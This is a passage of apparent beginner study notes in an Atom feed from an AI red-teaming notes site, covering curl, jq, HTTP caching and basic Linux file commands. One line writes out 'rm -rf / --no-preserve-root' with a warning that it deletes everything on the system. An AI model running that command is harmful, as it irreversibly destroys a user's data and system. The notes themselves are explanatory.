&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Accept: application&#x2F;json          # what format I want the response in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;User-Agent: ...                   # what the request is sent with&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!note] Caching (why see 304)
The server may tag a response with &lt;code&gt;ETag: &quot;abc&quot;&lt;&#x2F;code&gt;. Next time, the browser sends &lt;code&gt;If-None-Match: &quot;abc&quot;&lt;&#x2F;code&gt;; if nothing changed, the server replies &lt;strong&gt;304 Not Modified&lt;&#x2F;strong&gt; and the cached copy is reused. To force a fresh fetch, send &lt;code&gt;Cache-Control: no-cache&lt;&#x2F;code&gt; (and legacy &lt;code&gt;Pragma: no-cache&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;curl&quot;&gt;curl&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; http:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                 # GET, print the body&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -i http:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # + response headers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -v http:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # verbose (full request and response)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -s http:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # silent (no progress bar)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -L http:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # follow redirects&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -o out.json http:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # save to a file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -X POST http:&#x2F;&#x2F;example.com&#x2F;api&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # set the method&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -I http:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # HEAD - headers only, no body&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -X OPTIONS -i http:&#x2F;&#x2F;example.com&#x2F;api&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # which methods does this endpoint allow?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Headers and body:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -H &amp;quot;Accept: application&#x2F;json&amp;quot; http:&#x2F;&#x2F;example.com&#x2F;api&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -H &amp;quot;Authorization: Bearer TOKEN&amp;quot; http:&#x2F;&#x2F;example.com&#x2F;api&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# POST with a JSON body (trailing backslash `\`):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -X POST http:&#x2F;&#x2F;example.com&#x2F;api&#x2F;chat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;  -H &amp;quot;Content-Type: application&#x2F;json&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;  -d &amp;#39;{&amp;quot;message&amp;quot;: &amp;quot;hello&amp;quot;}&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;jq&quot;&gt;jq&lt;&#x2F;h2&gt;
&lt;p&gt;JSON arrives as one blob - &lt;code&gt;jq&lt;&#x2F;code&gt; parses it and pulls out what you need.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;{&amp;quot;name&amp;quot;:&amp;quot;Pablo&amp;quot;,&amp;quot;age&amp;quot;:33}&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;  |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;.&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;         # pretty-print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;{&amp;quot;name&amp;quot;:&amp;quot;Pablo&amp;quot;}&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;           |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;.name&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # a field&amp;#39;s value -&amp;gt; &amp;quot;Pablo&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;{&amp;quot;name&amp;quot;:&amp;quot;Pablo&amp;quot;}&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;           |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -r &amp;#39;.name&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # raw, no quotes -&amp;gt; Pablo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;{&amp;quot;a&amp;quot;:[1,2,3]}&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;              |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;.a[]&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;      # all array elements&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;[{&amp;quot;n&amp;quot;:&amp;quot;x&amp;quot;},{&amp;quot;n&amp;quot;:&amp;quot;y&amp;quot;}]&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;      |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;.[].n&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # field n from each object&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;[{&amp;quot;n&amp;quot;:&amp;quot;x&amp;quot;,&amp;quot;ok&amp;quot;:true}]&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;      |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;.[] | select(.ok)&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # filter by condition&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Expression&lt;&#x2F;th&gt;&lt;th&gt;What it does&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;.&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;the whole JSON (pretty-prints)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;.field&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;a field&#x27;s value&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;.a.b&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;a nested field&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;.array[]&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;all array elements&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;.array[].name&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;the &lt;code&gt;name&lt;&#x2F;code&gt; field from each element&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;select(.x)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;keep only elements where the condition is true&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;keys&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;an object&#x27;s keys&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;length&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;array &#x2F; string length&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-r&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;raw output (no quotes) - important for feeding into bash&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;combining-curl-jq-a-bash-loop&quot;&gt;Combining curl + jq + a bash loop&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Single request: pull a field out of the response&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -s https:&#x2F;&#x2F;api.example.com&#x2F;users&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -r &amp;#39;.[].id&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Loop: go over every ID and fetch each user&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; $(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -s https:&#x2F;&#x2F;api.example.com&#x2F;users&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -r &amp;#39;.[].id&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;);&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;  echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;== user &lt;&#x2F;span&gt;&lt;span&gt;$id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; ==&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;  curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -s &amp;quot;https:&#x2F;&#x2F;api.example.com&#x2F;users&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;$id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -r &amp;#39;.name&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Loop breakdown:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;curl -s ... | jq -r &#x27;.[].id&#x27;&lt;&#x2F;code&gt; → get the list of IDs (raw, so it feeds into bash)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;for id in $(...)&lt;&#x2F;code&gt; → iterate over each ID&lt;&#x2F;li&gt;
&lt;li&gt;inside → a separate request per ID, then pull &lt;code&gt;.name&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;materials&quot;&gt;Materials&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;HTTP MDN Web Docs &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&quot;&gt;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;httpbin.org&quot;&gt;https:&#x2F;&#x2F;httpbin.org&lt;&#x2F;a&gt; echo service: &lt;code&gt;curl -s https:&#x2F;&#x2F;httpbin.org&#x2F;get | jq&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;jqplay.org&quot;&gt;https:&#x2F;&#x2F;jqplay.org&lt;&#x2F;a&gt; sandbox for practising &lt;code&gt;jq&lt;&#x2F;code&gt; expressions&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;jsonplaceholder.typicode.com&quot;&gt;https:&#x2F;&#x2F;jsonplaceholder.typicode.com&lt;&#x2F;a&gt; free fake REST API for loops&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;api.github.com&quot;&gt;https:&#x2F;&#x2F;api.github.com&lt;&#x2F;a&gt; GitHub real public API&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry>
        <title>Linux</title>
        <published>2026-07-06T00:00:00+00:00</published>
        <updated>2026-07-06T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/linux/"/>
        <id>https://frekler.com/ai-red-teaming/notes/linux/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/linux/">&lt;h2 id=&quot;filesystem-navigation&quot;&gt;Filesystem navigation&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;pwd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                 # where am I (current directory)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ls&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                  # list files&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ls&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -la&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # + hidden (.files) and details (permissions, size, date)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &#x2F;path&#x2F;to&#x2F;dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # go to a directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; ..&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # up one level&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; ~&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                # to the home directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                # back to the previous directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;tree&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                # directory tree (may need installing)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;create-move-copy-delete&quot;&gt;Create, move, copy, delete&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                   # create a directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -p a&#x2F;b&#x2F;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # create nested directories at once&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;rmdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                   # remove an EMPTY directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;touch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                  # create an empty file (or bump its timestamp)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;cp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; src dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                  # copy a file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;cp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -r srcdir dstdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;         # copy a directory (recursive)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;mv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; src dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                  # move OR rename&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                     # [!warn] (no undo) delete a file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -r dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                   # [!warn] (no undo) delete a directory recursively&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -rf dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                  # [!warn] (no undo) force-delete a directory recursively (no confirmation)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -rf &#x2F; --no-preserve-root&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt; # [!warn] (no undo) completely deletes all files and directories on system&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;--no-preserve-root&lt;&#x2F;code&gt; is a flag that bypasses the built-in safety protection&lt;&#x2F;p&gt;
&lt;p&gt;never use a variable that could be empty - e.g. &lt;code&gt;rm -rf &quot;$DIR&quot;&#x2F;&lt;&#x2F;code&gt; will target &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; if &lt;code&gt;$DIR&lt;&#x2F;code&gt; is unset&lt;&#x2F;p&gt;
&lt;h2 id=&quot;viewing-files&quot;&gt;Viewing files&lt;&#x2F;h2&gt;
